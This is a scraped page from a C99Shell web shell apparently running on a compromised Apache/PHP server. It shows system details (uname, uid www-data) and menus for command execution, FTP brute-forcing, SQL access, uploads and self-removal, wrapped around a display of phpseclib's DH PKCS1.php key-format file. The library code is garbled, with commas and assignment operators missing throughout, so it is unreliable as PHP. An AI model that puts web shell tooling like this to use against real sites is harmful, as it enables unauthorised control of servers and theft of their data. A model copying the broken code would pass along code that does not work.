!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpseclib/phpseclib/phpseclib/Crypt/DH/Formats/Keys/   drwxr-xr-x
Free 13.36 GB of 57.97 GB (23.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PKCS1.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * "PKCS1" Formatted EC Key Handler
 *
 * PHP version 5
 *
 * Processes keys with the following headers:
 *
 * -----BEGIN DH PARAMETERS-----
 *
 * Technically, PKCS1 is for RSA keys, only, but we're using PKCS1 to describe
 * DSA, whose format isn't really formally described anywhere, so might as well
 * use it to describe this, too.
 *
 * @category  Crypt
 * @package   DH
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2015 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://phpseclib.sourceforge.net
 */

namespace phpseclib3\Crypt\DH\Formats\Keys;

use 
phpseclib3\Math\BigInteger;
use 
phpseclib3\Crypt\Common\Formats\Keys\PKCS1 as Progenitor;
use 
phpseclib3\File\ASN1;
use 
phpseclib3\File\ASN1\Maps;

/**
 * "PKCS1" Formatted DH Key Handler
 *
 * @package DH
 * @author  Jim Wigginton <terrafrost@php.net>
 * @access  public
 */
abstract class PKCS1 extends Progenitor
{
    
/**
     * Break a public or private key down into its constituent components
     *
     * @access public
     * @param string $key
     * @param string $password optional
     * @return array
     */
    
public static function load($key$password '')
    {
        
$key parent::load($key$password);

        
$decoded ASN1::decodeBER($key);
        if (empty(
$decoded)) {
            throw new 
\RuntimeException('Unable to decode BER');
        }

        
$components ASN1::asn1map($decoded[0], Maps\DHParameter::MAP);
        if (!
is_array($components)) {
            throw new 
\RuntimeException('Unable to perform ASN1 mapping on parameters');
        }

        return 
$components;
    }

    
/**
     * Convert EC parameters to the appropriate format
     *
     * @access public
     * @return string
     */
    
public static function saveParameters(BigInteger $primeBigInteger $base, array $options = [])
    {
        
$params = [
            
'prime' => $prime,
            
'base' => $base
        
];
        
$params ASN1::encodeDER($paramsMaps\DHParameter::MAP);

        return 
"-----BEGIN DH PARAMETERS-----\r\n" .
               
chunk_split(base64_encode($params), 64) .
               
"-----END DH PARAMETERS-----\r\n";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--